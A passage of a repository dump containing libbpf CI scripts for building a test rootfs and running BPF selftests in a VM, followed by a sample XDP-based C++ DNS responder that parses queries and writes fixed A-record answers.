5 | # https://github.com/osandov/drgn/blob/master/scripts/vmtest/mkrootfs.sh
6 |
7 | set -euo pipefail
8 |
9 | usage () {
10 | USAGE_STRING="usage: $0 [NAME]
11 | $0 -h
12 |
13 | Build an Arch Linux root filesystem image for testing libbpf in a virtual
14 | machine.
15 |
16 | The image is generated as a zstd-compressed tarball.
17 |
18 | This must be run as root, as most of the installation is done in a chroot.
19 |
20 | Arguments:
21 | NAME name of generated image file (default:
22 | libbpf-vmtest-rootfs-\$DATE.tar.zst)
23 |
24 | Options:
25 | -h display this help message and exit"
26 |
27 | case "$1" in
28 | out)
29 | echo "$USAGE_STRING"
30 | exit 0
31 | ;;
32 | err)
33 | echo "$USAGE_STRING" >&2
34 | exit 1
35 | ;;
36 | esac
37 | }
38 |
39 | while getopts "h" OPT; do
40 | case "$OPT" in
41 | h)
42 | usage out
43 | ;;
44 | *)
45 | usage err
46 | ;;
47 | esac
48 | done
49 | if [[ $OPTIND -eq $# ]]; then
50 | NAME="${!OPTIND}"
51 | elif [[ $OPTIND -gt $# ]]; then
52 | NAME="libbpf-vmtest-rootfs-$(date +%Y.%m.%d).tar.zst"
53 | else
54 | usage err
55 | fi
56 |
57 | pacman_conf=
58 | root=
59 | trap 'rm -rf "$pacman_conf" "$root"' EXIT
60 | pacman_conf="$(mktemp -p "$PWD")"
61 | cat > "$pacman_conf" << "EOF"
62 | [options]
63 | Architecture = x86_64
64 | CheckSpace
65 | SigLevel = Required DatabaseOptional
66 | [core]
67 | Include = /etc/pacman.d/mirrorlist
68 | [extra]
69 | Include = /etc/pacman.d/mirrorlist
70 | [community]
71 | Include = /etc/pacman.d/mirrorlist
72 | EOF
73 | root="$(mktemp -d -p "$PWD")"
74 |
75 | packages=(
76 | busybox
77 | # libbpf dependencies.
78 | libelf
79 | zlib
80 | # selftests test_progs dependencies.
81 | binutils
82 | elfutils
83 | glibc
84 | iproute2
85 | # selftests test_verifier dependencies.
86 | libcap
87 | )
88 |
89 | pacstrap -C "$pacman_conf" -cGM "$root" "${packages[@]}"
90 |
91 | # Remove unnecessary files from the chroot.
92 |
93 | # We don't need the pacman databases anymore.
94 | rm -rf "$root/var/lib/pacman/sync/"
95 | # We don't need D, Fortran, or Go.
96 | rm -f "$root/usr/lib/libgdruntime."* \
97 | "$root/usr/lib/libgphobos."* \
98 | "$root/usr/lib/libgfortran."* \
99 | "$root/usr/lib/libgo."*
100 | # We don't need any documentation.
101 | rm -rf "$root/usr/share/{doc,help,man,texinfo}"
102 |
103 | chroot "${root}" /bin/busybox --install
104 |
105 | cat > "$root/etc/inittab" << "EOF"
106 | ::sysinit:/etc/init.d/rcS
107 | ::ctrlaltdel:/sbin/reboot
108 | ::shutdown:/sbin/swapoff -a
109 | ::shutdown:/bin/umount -a -r
110 | ::restart:/sbin/init
111 | EOF
112 | chmod 644 "$root/etc/inittab"
113 |
114 | mkdir -m 755 "$root/etc/init.d" "$root/etc/rcS.d"
115 | cat > "$root/etc/rcS.d/S10-mount" << "EOF"
116 | #!/bin/sh
117 |
118 | set -eux
119 |
120 | /bin/mount proc /proc -t proc
121 |
122 | # Mount devtmpfs if not mounted
123 | if [[ -z $(/bin/mount -l -t devtmpfs) ]]; then
124 | /bin/mount devtmpfs /dev -t devtmpfs
125 | fi
126 |
127 | /bin/mount sysfs /sys -t sysfs
128 | /bin/mount bpffs /sys/fs/bpf -t bpf
129 | /bin/mount debugfs /sys/kernel/debug -t debugfs
130 |
131 | echo 'Listing currently mounted file systems'
132 | /bin/mount
133 | EOF
134 | chmod 755 "$root/etc/rcS.d/S10-mount"
135 |
136 | cat > "$root/etc/rcS.d/S40-network" << "EOF"
137 | #!/bin/sh
138 |
139 | set -eux
140 |
141 | ip link set lo up
142 | EOF
143 | chmod 755 "$root/etc/rcS.d/S40-network"
144 |
145 | cat > "$root/etc/init.d/rcS" << "EOF"
146 | #!/bin/sh
147 |
148 | set -eux
149 |
150 | for path in /etc/rcS.d/S*; do
151 | [ -x "$path" ] && "$path"
152 | done
153 | EOF
154 | chmod 755 "$root/etc/init.d/rcS"
155 |
156 | chmod 755 "$root"
157 | tar -C "$root" -c . | zstd -T0 -19 -o "$NAME"
158 | chmod 644 "$NAME"
159 |
--------------------------------------------------------------------------------
/libbpf-0.3/travis-ci/vmtest/prepare_selftests-4.9.0.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | printf "all:\n\ttouch bpf_testmod.ko\n\nclean:\n" > bpf_testmod/Makefile
4 |
--------------------------------------------------------------------------------
/libbpf-0.3/travis-ci/vmtest/prepare_selftests-5.5.0.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | printf "all:\n\ttouch bpf_testmod.ko\n\nclean:\n" > bpf_testmod/Makefile
4 |
--------------------------------------------------------------------------------
/libbpf-0.3/travis-ci/vmtest/prepare_selftests.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | set -eu
4 |
5 | source $(cd $(dirname $0) && pwd)/helpers.sh
6 |
7 | REPO_PATH=$1
8 |
9 | ${VMTEST_ROOT}/checkout_latest_kernel.sh ${REPO_PATH}
10 | cd ${REPO_PATH}
11 |
12 | if [[ "${KERNEL}" = 'LATEST' ]]; then
13 | travis_fold start build_kernel "Kernel build"
14 |
15 | cp ${VMTEST_ROOT}/configs/latest.config .config
16 | make -j $((4*$(nproc))) olddefconfig all
17 |
18 | travis_fold end build_kernel
19 | fi
20 |
21 |
--------------------------------------------------------------------------------
/libbpf-0.3/travis-ci/vmtest/run_selftests.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | set -euo pipefail
4 |
5 | source $(cd $(dirname $0) && pwd)/helpers.sh
6 |
7 | test_progs() {
8 | if [[ "${KERNEL}" != '4.9.0' ]]; then
9 | travis_fold start test_progs "Testing test_progs"
10 | ./test_progs ${BLACKLIST:+-b$BLACKLIST} ${WHITELIST:+-t$WHITELIST}
11 | travis_fold end test_progs
12 | fi
13 |
14 | travis_fold start test_progs-no_alu32 "Testing test_progs-no_alu32"
15 | ./test_progs-no_alu32 ${BLACKLIST:+-b$BLACKLIST} ${WHITELIST:+-t$WHITELIST}
16 | travis_fold end test_progs-no_alu32
17 | }
18 |
19 | test_maps() {
20 | travis_fold start test_maps "Testing test_maps"
21 | ./test_maps
22 | travis_fold end test_maps
23 | }
24 |
25 | test_verifier() {
26 | travis_fold start test_verifier "Testing test_verifier"
27 | ./test_verifier
28 | travis_fold end test_verifier
29 | }
30 |
31 | travis_fold end vm_init
32 |
33 | configs_path='libbpf/travis-ci/vmtest/configs'
34 | blacklist_path="$configs_path/blacklist/BLACKLIST-${KERNEL}"
35 | if [[ -s "${blacklist_path}" ]]; then
36 | BLACKLIST=$(cat "${blacklist_path}" | cut -d'#' -f1 | tr -s '[:space:]' ',')
37 | fi
38 |
39 | whitelist_path="$configs_path/whitelist/WHITELIST-${KERNEL}"
40 | if [[ -s "${whitelist_path}" ]]; then
41 | WHITELIST=$(cat "${whitelist_path}" | cut -d'#' -f1 | tr -s '[:space:]' ',')
42 | fi
43 |
44 | cd libbpf/selftests/bpf
45 |
46 | test_progs
47 |
48 | if [[ "${KERNEL}" == 'latest' ]]; then
49 | #test_maps
50 | test_verifier
51 | fi
52 |
--------------------------------------------------------------------------------
/libbpf-0.3/travis-ci/vmtest/run_vmtest.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | set -eu
4 |
5 | source $(cd $(dirname $0) && pwd)/helpers.sh
6 |
7 | VMTEST_SETUPCMD="PROJECT_NAME=${PROJECT_NAME} ./${PROJECT_NAME}/travis-ci/vmtest/run_selftests.sh"
8 |
9 | echo "KERNEL: $KERNEL"
10 | echo
11 |
12 | # Build latest pahole
13 | ${VMTEST_ROOT}/build_pahole.sh travis-ci/vmtest/pahole
14 |
15 | travis_fold start install_clang "Installing Clang/LLVM"
16 |
17 | # Install required packages
18 | wget -O - https://apt.llvm.org/llvm-snapshot.gpg.key | sudo apt-key add -
19 | echo "deb http://apt.llvm.org/bionic/ llvm-toolchain-bionic main" | sudo tee -a /etc/apt/sources.list
20 | sudo apt-get update
21 | sudo apt-get -y install clang-12 lld-12 llvm-12
22 | sudo apt-get -y install python-docutils # for rst2man
23 |
24 | travis_fold end install_clang
25 |
26 | # Build selftests (and latest kernel, if necessary)
27 | KERNEL="${KERNEL}" ${VMTEST_ROOT}/prepare_selftests.sh travis-ci/vmtest/bpf-next
28 |
29 | # Escape whitespace characters.
30 | setup_cmd=$(sed 's/\([[:space:]]\)/\\\1/g' <<< "${VMTEST_SETUPCMD}")
31 |
32 | sudo adduser "${USER}" kvm
33 |
34 | if [[ "${KERNEL}" = 'LATEST' ]]; then
35 | sudo -E sudo -E -u "${USER}" "${VMTEST_ROOT}/run.sh" -b travis-ci/vmtest/bpf-next -o -d ~ -s "${setup_cmd}" ~/root.img;
36 | else
37 | sudo -E sudo -E -u "${USER}" "${VMTEST_ROOT}/run.sh" -k "${KERNEL}*" -o -d ~ -s "${setup_cmd}" ~/root.img;
38 | fi
39 |
--------------------------------------------------------------------------------
/sample/dns_server/Makefile:
--------------------------------------------------------------------------------
1 | CC := g++
2 | CXXFLAG := -O3 #-O2
3 | DEBUG := -g -DXDP_DEBUG_VERBOSE
4 | LIB := -lpthread -lz
5 | SRC := $(wildcard *.cpp)
6 | OBJ := $(SRC:%.cpp=%.o)
7 | XDP_PACKET_LIB := ../../libxdppacket.a
8 | XDP_PACKET_INCLUDE := -I../../
9 |
10 | LIBBPF_LIB := -Wl,--whole-archive ../../libbpf-0.3/src/libbpf.a -Wl,--no-whole-archive -lelf
11 | LIBBPF_INCLUDE := -I./ -I../../libbpf-0.3/src -I../../libbpf-0.3/include/uapi -I../../libbpf-0.3/src/build/usr/include
12 | LIB += $(LIBBPF_LIB) $(XDP_PACKET_LIB) -lnuma
13 | INCLUDE := $(LIBBPF_INCLUDE) $(XDP_PACKET_INCLUDE)
14 | TARGET := dns_server
15 | all: $(TARGET)
16 |
17 | $(TARGET): $(OBJ)
18 | $(CC) -o $(TARGET) $(OBJ) $(LIB)
19 |
20 | $(OBJ): %.o:%.cpp
21 | $(CC) -c $< -o $@ $(DEBUG) $(CXXFLAG) $(INCLUDE)
22 |
23 | debug:
24 | @echo $(SRC)
25 | @echo $(OBJ)
26 |
27 | clean:
28 | rm -rf $(OBJ) $(TARGET)
29 |
30 | .PHONY: all clean debug
31 |
32 |
33 |
34 |
35 |
--------------------------------------------------------------------------------
/sample/dns_server/edns.h:
--------------------------------------------------------------------------------
1 | #ifndef INCLUDE_EDNS_H_
2 | #define INCLUDE_EDNS_H_
3 |
4 | #include
5 |
6 | #pragma pack(1)
7 |
8 | /*
9 | +------------+--------------+------------------------------+
10 | | Field Name | Field Type | Description |
11 | +------------+--------------+------------------------------+
12 | | NAME | domain name | MUST be 0 (root domain) |
13 | | TYPE | u_int16_t | OPT (41) |
14 | | CLASS | u_int16_t | requestor's UDP payload size |
15 | | TTL | u_int32_t | extended RCODE and flags |
16 | | RDLEN | u_int16_t | length of all RDATA |
17 | | RDATA | octet stream | {attribute,value} pairs |
18 | +------------+--------------+------------------------------+
19 | */
20 | struct optrr {
21 | uint8_t opt_name;
22 | uint16_t opt_type;
23 | uint16_t opt_udpsize;
24 | uint32_t opt_ttl;
25 | uint16_t rdlen;
26 | };
27 |
28 | /*
29 | +0 (MSB) +1 (LSB)
30 | +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
31 | 0: | OPTION-CODE |
32 | +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
33 | 2: | OPTION-LENGTH |
34 | +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
35 | 4: | FAMILY |
36 | +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
37 | 6: | SOURCE NETMASK | SCOPE NETMASK |
38 | +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
39 | 7: | ADDRESS... /
40 | +---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
41 | */
42 | struct edns0opt {
43 | uint16_t opt_code;
44 | uint16_t opt_len;
45 | uint16_t family;
46 | uint8_t source_netmask;
47 | uint8_t scope_netmask;
48 | uint32_t sub_addr;
49 | };
50 |
51 | /*
52 | client unknow server cookie
53 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
54 | | OPTION-CODE = 10 | OPTION-LENGTH = 8 |
55 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
56 | | |
57 | +-+- Client Cookie (fixed size, 8 bytes) -+-+-+-+
58 | | |
59 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
60 |
61 |
62 | client know server cookie
63 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
64 | | OPTION-CODE = 10 | OPTION-LENGTH >= 16, <= 40 |
65 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
66 | | |
67 | +-+- Client Cookie (fixed size, 8 bytes) -+-+-+-+
68 | | |
69 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
70 | | |
71 | / Server Cookie (variable size, 8 to 32 bytes) /
72 | / /
73 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
74 | */
75 | struct cookieopt {
76 | uint16_t opt_code;
77 | uint16_t opt_len;
78 | char client_cookie[8];
79 | };
80 |
81 | #pragma pack()
82 |
83 | #endif /* INCLUDE_EDNS_H_ */
84 |
--------------------------------------------------------------------------------
/sample/dns_server/main.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | #include "xdp_runtime.h"
6 | #include "xdp_log.h"
7 |
8 | #include "process.h"
9 |
10 | int main(int argc, char *argv[])
11 | {
12 | char *eth = NULL;
13 | char *ip = NULL;
14 | char *prog = NULL;
15 | uint16_t port = 0;
16 | uint16_t queue;
17 | int ret;
18 | int c = -1;
19 | int option_index;
20 | int numa_node = -1;
21 | in_addr_t server_addr;
22 | struct xdp_runtime runtime;
23 |
24 | struct option long_options[] = {
25 | {"dev", required_argument, NULL, 'd'},
26 | {"ip", required_argument, NULL, 'i'},
27 | {"port", required_argument, NULL, 'p'},
28 | {"prog", required_argument, NULL, 'g'},
29 | {"queue", required_argument, NULL, 'Q'},
30 | {"numa_node", required_argument, NULL, 'n'},
31 | {NULL, 0, NULL, 0}
32 | };
33 | while (1) {
34 | c = getopt_long(argc, argv, "d:i:p:g:Q:n:", long_options, &option_index);
35 | if (c == -1) {
36 | break;
37 | }
38 | switch (c) {
39 | case 'd':
40 | eth = strdup(optarg);
41 | break;
42 | case 'i':
43 | ip = strdup(optarg);
44 | break;
45 | case 'p':
46 | port = atoi(optarg);
47 | break;
48 | case 'g':
49 | prog = strdup(optarg);
50 | break;
51 | case 'Q':
52 | queue = atoi(optarg);
53 | break;
54 | case 'n':
55 | numa_node = atoi(optarg);
56 | break;
57 | default:
58 | fprintf(stderr, "argument error !\n");
59 | return -1;
60 | }
61 | }
62 | if (!eth || !eth[0] || !ip || !ip[0] || !prog || !prog[0] || !port) {
63 | fprintf(stderr, "argument error !\n");
64 | return -1;
65 | }
66 |
67 | ret = xdp_runtime_init(&runtime, eth, prog, NULL);
68 | if (ret < 0) {
69 | fprintf(stderr, "xdp_runtime_init failed with %s\n", eth);
70 | goto out;
71 | }
72 | ret = xdp_runtime_udp_packet(port);
73 | if (ret < 0) {
74 | fprintf(stderr, "xdp_runtime_udp_packet failed with %s\n", eth);
75 | goto out;
76 | }
77 |
78 | if (numa_node >= 0) {
79 | xdp_runtime_setup_numa(&runtime, numa_node);
80 | }
81 | ret = xdp_runtime_setup_queue(&runtime, queue, 1024);
82 | if (ret < 0) {
83 | fprintf(stderr, "xdp_runtime_setup_queue failed with %s\n", eth);
84 | goto out;
85 | }
86 | if (queue > 1) {
87 | ret = xdp_runtime_setup_rss_ipv4(&runtime, IPPROTO_UDP);
88 | if (ret < 0) {
89 | fprintf(stderr, "xdp_runtime_setup_rss_ipv4 failed with %s\n", eth);
90 | goto out;
91 | }
92 | }
93 | DnsProcess::setServerAddr(ip);
94 | ret = xdp_runtime_setup_workers(&runtime, DnsProcess::worker, 0);
95 | if (ret < 0) {
96 | fprintf(stderr, "xdp_runtime_setup_workers failed with %s\n", eth);
97 | goto out;
98 | }
99 |
100 | ret = xdp_runtime_startup_workers(&runtime);
101 | if (ret < 0) {
102 | fprintf(stderr, "xdp_runtime_startup_workers failed with %s\n", eth);
103 | goto out;
104 | }
105 |
106 | out:
107 | xdp_runtime_release(&runtime);
108 | return 0;
109 | }
110 |
--------------------------------------------------------------------------------
/sample/dns_server/packet.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 |
7 | #include
8 | #include
9 | #include
10 |
11 | #include "packet.h"
12 |
13 | /*
14 | * Decode
15 | */
16 | void Dns::parse(const char *buffer) {
17 | decode_hdr(buffer);
18 | buffer += hdr_offset;
19 |
20 | decode_qname(buffer);
21 | m_qType = get16bits(buffer);
22 | m_qClass = get16bits(buffer);
23 | //std::cout << "m_qName:" << m_qName << "\n";
24 | //std::cout << "m_qType:" << m_qType << "\n";
25 | //std::cout << "m_qClass:" << m_qClass << "\n";
26 |
27 | is_csubnet = false;
28 | if (dns_hdr.adcount)
29 | decode_additional(buffer);
30 | }
31 |
32 | void Dns::decode_hdr(const char *buffer) {
33 | dns_hdr = *(struct dnshdr *) buffer;
34 |
35 | //dns_hdr.id = EXTRACT_16BITS(&dns_hdr.id);
36 | dns_hdr.qucount = EXTRACT_16BITS(&dns_hdr.qucount);
37 | //dns_hdr.ancount = EXTRACT_16BITS(&dns_hdr.ancount);
38 | //dns_hdr.aucount = EXTRACT_16BITS(&dns_hdr.aucount);
39 | dns_hdr.adcount = EXTRACT_16BITS(&dns_hdr.adcount);
40 | }
41 |
42 | void Dns::decode_qname(const char *&buffer) {
43 | int i;
44 | char c;
45 |
46 | m_qName = "";
47 |
48 | int length = *buffer++;
49 | while (length != 0) {
50 | for (i = 0; i < length; i++) {
51 | c = *buffer++;
52 | m_qName += c;
53 | }
54 | length = *buffer++;
55 | if (length != 0) m_qName += '.';
56 | }
57 |
58 | query_len = m_qName.length() + 2 + 4;
59 | }
60 |
61 | void Dns::decode_additional(const char *buffer) {
62 | opt = *(struct optrr *) buffer;
63 | opt.opt_type = EXTRACT_16BITS(&opt.opt_type);
64 | opt.opt_udpsize = EXTRACT_16BITS(&opt.opt_udpsize);
65 | opt.opt_ttl = EXTRACT_32BITS(&opt.opt_ttl);
66 | opt.rdlen = EXTRACT_16BITS(&opt.rdlen);
67 | /*std::cout << "name=" << (uint16_t) opt.opt_name
68 | << ", type=" << opt.opt_type
69 | << ", class=" << opt.opt_udpsize
70 | << ", ttl=" << opt.opt_ttl
71 | << ", rdlen=" << opt.rdlen << "\n";*/
72 | if (opt.rdlen)
73 | decode_option(buffer + 11);
74 | }
75 |
76 | void Dns::decode_option(const char *p) {
77 | uint16_t tmp = *(uint16_t *) p;
78 | if (tmp == 0x0800 || tmp == 0xfa50) {
79 | is_csubnet = true;
80 |
81 | eo = *(struct edns0opt *) p;
82 | eo.opt_code = EXTRACT_16BITS(&eo.opt_code);
83 | eo.opt_len = EXTRACT_16BITS(&eo.opt_len);
84 | eo.family = EXTRACT_16BITS(&eo.family);
85 | inet_ntop(AF_INET, &eo.sub_addr, client_ip, 16);
86 |
87 | /*std::cout << "opt_code=" << eo.opt_code
88 | << ", opt_len=" << eo.opt_len
89 | << ", family=" << eo.family
90 | << ", smask=" << (uint16_t)eo.source_netmask
91 | << ", scropmask=" << (uint16_t)eo.scope_netmask
92 | << ", client_ip=" << client_ip << "\n";*/
93 | } else if (tmp == 0x0a00) {
94 | co = *(struct cookieopt *) p;
95 | co.opt_code = EXTRACT_16BITS(&co.opt_code);
96 | co.opt_len = EXTRACT_16BITS(&co.opt_len);
97 | }
98 | }
99 |
100 | /*
101 | * Code
102 | */
103 | int Dns::pack(char *buffer) {
104 | char *bufferBegin = buffer;
105 | char *start_hdr = buffer;
106 | uint32_t intip;
107 |
108 | domain_ip_len_ = domain_ip_.length();
109 | std::strncpy(cstr, domain_ip_.c_str(), domain_ip_len_);
110 | cstr[domain_ip_len_] = '\0';
111 |
112 | dns_hdr.ancount = 0;
113 |
114 | //code_hdr(buffer);
115 | //buffer += hdr_offset;
116 |
117 | /* Code Question section */
118 | buffer += hdr_offset + query_len;
119 |
120 | /* Code Answer section */
121 | m_ra.r_zone = 0xc00c;
122 | m_ra.r_ttl = 120;
123 | m_ra.r_size = 4;
124 |
125 | char *p = std::strtok(cstr, ",");
126 | while (p) {
127 | put16bits(buffer, m_ra.r_zone);
128 | put16bits(buffer, m_qType);
129 | put16bits(buffer, m_qClass);
130 | put32bits(buffer, m_ra.r_ttl);
131 | put16bits(buffer, m_ra.r_size);
132 |
133 | inet_pton(AF_INET, p, (void *) &intip);
134 | buffer[0] = (intip & 0xFF);
135 | buffer[1] = (intip & 0xFF00) >> 8;
136 | buffer[2] = (intip & 0xFF0000) >> 16;
137 | buffer[3] = (intip & 0xFF000000) >> 24;
138 | buffer += 4;
139 |
140 | dns_hdr.ancount++;
141 | if (dns_hdr.ancount >= 10) break;
142 |
143 | p = std::strtok(NULL, ",");
144 | }
145 |
146 | /* Code Additional section */
147 | if (dns_hdr.adcount) {
148 | buffer[0] = opt.opt_name;
149 | buffer++;
150 | put16bits(buffer, opt.opt_type);
151 | opt.opt_udpsize = 512;
152 | put16bits(buffer, opt.opt_udpsize);
153 | put32bits(buffer, opt.opt_ttl);
154 |
155 | if (opt.rdlen)
156 | opt.rdlen = 12;
157 | put16bits(buffer, opt.rdlen);
158 |
159 | if (opt.rdlen) {
160 | if (is_csubnet) {
161 | put16bits(buffer, eo.opt_code);
162 | put16bits(buffer, eo.opt_len);
163 | put16bits(buffer, eo.family);
164 | buffer[0] = eo.source_netmask;
165 | buffer[1] = eo.scope_netmask;
166 | buffer += 2;
167 | buffer[0] = (eo.sub_addr & 0xFF);
168 | buffer[1] = (eo.sub_addr & 0xFF00) >> 8;
169 | buffer[2] = (eo.sub_addr & 0xFF0000) >> 16;
170 | buffer[3] = (eo.sub_addr & 0xFF000000) >> 24;
171 | buffer += 4;
172 | } else {
173 | put16bits(buffer, co.opt_code);
174 | put16bits(buffer, co.opt_len);
175 | for (unsigned i = 0; i < 8; i++) {
176 | buffer[i] = co.client_cookie[i];
177 | }
178 | buffer += 8;
179 | }
180 | }
181 | }
182 |
183 | code_hdr(start_hdr);
184 |
185 | return (buffer - bufferBegin);
186 | }
187 |
188 | void Dns::code_hdr(char *&buffer) {
189 | // dns_hdr.flags1 = 0x81;
190 | // dns_hdr.flags2 = 0x80;
191 | dns_hdr.qucount = 1;
192 | //dns_hdr.ancount = 1;
193 | // dns_hdr.nscount = 0;
194 | // dns_hdr.arcount = 0;
195 |
196 | buffer += 2; // skip id
197 | buffer[0] = 0x81;
198 | buffer[1] = 0x80;
199 | buffer += 2; // skip flags
200 | put16bits(buffer, dns_hdr.qucount);
201 | put16bits(buffer, dns_hdr.ancount);
202 | //buffer += 4; // skip auth and add
203 | }
204 |
205 | void Dns::code_domain(char *&buffer, const std::string &domain) {
206 | int start(0); // indexes
207 | std::size_t end;
208 |
209 | while ((end = domain.find('.', start)) != std::string::npos) {
210 | *buffer++ = end - start; // label length octet
211 | for (unsigned i = start; i < end; i++) {
212 | *buffer++ = domain[i]; // label octets
213 | }
214 | start = end + 1; // Skip '.'
215 | }
216 |
217 | *buffer++ = domain.size() - start; // last label length octet
218 | for (unsigned i = start; i < domain.size(); i++) {
219 | *buffer++ = domain[i]; // last label octets
220 | }
221 |
222 | *buffer++ = 0;
223 | }
224 |
225 |
--------------------------------------------------------------------------------
/sample/dns_server/process.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | #include "xdp_runtime.h"
7 | #include "xdp_dev.h"
8 | #include "xdp_net.h"
9 | #include "xdp_prefetch.h"
10 | #include "xdp_framepool.h"
11 | #include "xdp_ipv4.h"
12 | #include "xdp_log.h"
13 |
14 | #include "process.h"
15 | #include "packet.h"
16 |
17 |
18 | #define DNS_HEAD_SIZE 12
19 |
20 | #define CHECK_DNS_LEN(l, dl, ql) \
21 | xdp_runtime_unlikely((l) != ((dl) + sizeof(struct iphdr)) || (ql) < DNS_HEAD_SIZE)
22 |
23 | volatile bool DnsProcess::running = true;
24 | struct Channel DnsProcess::channelList[MAX_QUEUE];
25 |
26 |
27 | Dns DnsProcess::packet[XDP_MAX_WORKER];
28 | static std::string ip = "127.0.0.2";
29 | in_addr_t DnsProcess::serverAddr = 0;
30 | int DnsProcess::processIpv4(struct xdp_frame *frame, struct Channel *chn)
31 | {
32 | struct ethhdr *ethhdr;
33 | struct iphdr *iphdr;
34 | struct udphdr *udphdr;
35 | uint8_t *dns;
36 |
37 | uint16_t ipv4HdrLen;
38 | uint16_t ipv4TotalLen;
39 | uint16_t l3PayloadLen;
40 | uint16_t udpLen;
41 | uint16_t dnsLen;
42 | uint32_t packetLen;
43 |
44 | ethhdr = xdp_frame_get_addr(frame, struct ethhdr *);
45 | iphdr = (struct iphdr *)(ethhdr + 1);
46 | udphdr = (struct udphdr *)(iphdr + 1);
47 |
48 | ipv4HdrLen = xdp_ipv4_get_hdr_len(iphdr);
49 | ipv4TotalLen = xdp_ipv4_get_total_len(iphdr);
50 | if (!xdp_ipv4_check_len(ipv4HdrLen, ipv4TotalLen, frame)) {
51 | xdp_framepool_free_frame(frame);
52 | return 0;
53 | }
54 |
55 | udpLen = xdp_ntohs(udphdr->len);
56 | dnsLen = udpLen - sizeof(struct udphdr);
57 | if (CHECK_DNS_LEN(ipv4TotalLen, udpLen, dnsLen)) {
58 | xdp_framepool_free_frame(frame);
59 | return 0;
60 | }
61 | if (serverAddr != iphdr->daddr) {
62 | xdp_framepool_free_frame(frame);
63 | return 0;
64 | }
65 | dns = (uint8_t *)(udphdr + 1);
66 | packet[XDP_RUNTIME_WORKER_ID].parse((char *)dns);
67 | packet[XDP_RUNTIME_WORKER_ID].setDomainIpGroup(ip);
68 | packetLen = packet[XDP_RUNTIME_WORKER_ID].pack((char *)dns);
69 |
70 | swapPort(udphdr->source, udphdr->dest);
71 | udphdr->len = xdp_htons(sizeof(struct udphdr) + packetLen);
72 | udphdr->check = 0;
73 |
74 | swapIp(iphdr->saddr, iphdr->daddr);
75 | iphdr->ttl = 64;
76 | l3PayloadLen = sizeof(struct iphdr) + sizeof(struct udphdr) + packetLen;
77 | iphdr->tot_len = xdp_htons(l3PayloadLen);
78 | iphdr->check = 0;
79 | iphdr->check = xdp_ipv4_checksum(iphdr);
80 |
81 | udphdr->check = xdp_ipv4_udptcp_checksum(iphdr, udphdr);
82 |
83 | swapMac(ethhdr->h_source, ethhdr->h_dest);
84 | frame->data_len = l3PayloadLen + sizeof(struct ethhdr);
85 |
86 | chn->send_bufs[chn->sendCount++] = frame;
87 | packet[XDP_RUNTIME_WORKER_ID].reset();
88 | return 0;
89 | }
90 |
91 | void DnsProcess::swapPort(uint16_t &src, uint16_t &dst)
92 | {
93 | src ^= dst;
94 | dst ^= src;
95 | src ^= dst;
96 | }
97 |
98 | void DnsProcess::swapIp(uint32_t &src, uint32_t &dst)
99 | {
100 | src ^= dst;
101 | dst ^= src;
102 | src ^= dst;
103 | }
104 |
105 | void DnsProcess::swapMac(unsigned char src[ETH_ALEN],
106 | unsigned char dst[ETH_ALEN])
107 | {
108 | for (int i = 0; i < ETH_ALEN; i++) {
109 | src[i] ^= dst[i];
110 | dst[i] ^= src[i];
111 | src[i] ^= dst[i];
112 | }
113 | }
114 |
115 | int DnsProcess::worker(volatile void *args)
116 | {
117 | uint16_t qIdx;
118 | int rcvd;
119 | int sent;
120 | int i;
121 | struct xdp_frame *frame[32];
122 | struct Channel *chn;
123 | struct timespec nano = {0, 1000};
124 |
125 | qIdx = *(uint16_t *)args;
126 | chn = &channelList[qIdx];
127 |
128 | while (running) {
129 | rcvd = xdp_dev_read(qIdx, frame, 32);
130 | if (xdp_runtime_unlikely(!rcvd)) {
131 | nanosleep(&nano, NULL);
132 | }
133 | for (i = 0; i < 3 && i < rcvd; i++) {
134 | xdp_prefetch0(xdp_frame_get_addr(frame[i], void *));
135 | }
136 | for (i = 0; i < rcvd - 3; i++) {
137 | xdp_prefetch0(xdp_frame_get_addr(frame[i + 3], void *));
138 | processIpv4(frame[i], chn);
139 | }
140 | for (; i < rcvd; i++) {
141 | processIpv4(frame[i], chn);
142 | }
143 |
144 | if (xdp_runtime_likely(chn->sendCount > 0)) {
145 | sent = xdp_dev_write(qIdx, chn->send_bufs, chn->sendCount);
146 | if (xdp_runtime_unlikely(sent != chn->sendCount)) {
147 | for (i = sent; i < chn->sendCount; i++) {
148 | xdp_framepool_free_frame(chn->send_bufs[i]);
149 | }
150 | }
151 | chn->sendCount = 0;
152 | }
153 | }
154 |
155 | return 0;
156 | }
157 |
--------------------------------------------------------------------------------
/sample/dns_server/process.h:
--------------------------------------------------------------------------------
1 | #ifndef _PROCESS_H_
2 | #define _PROCESS_H_
3 |
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include "xdp_framepool.h"
10 | #include "packet.h"
11 |
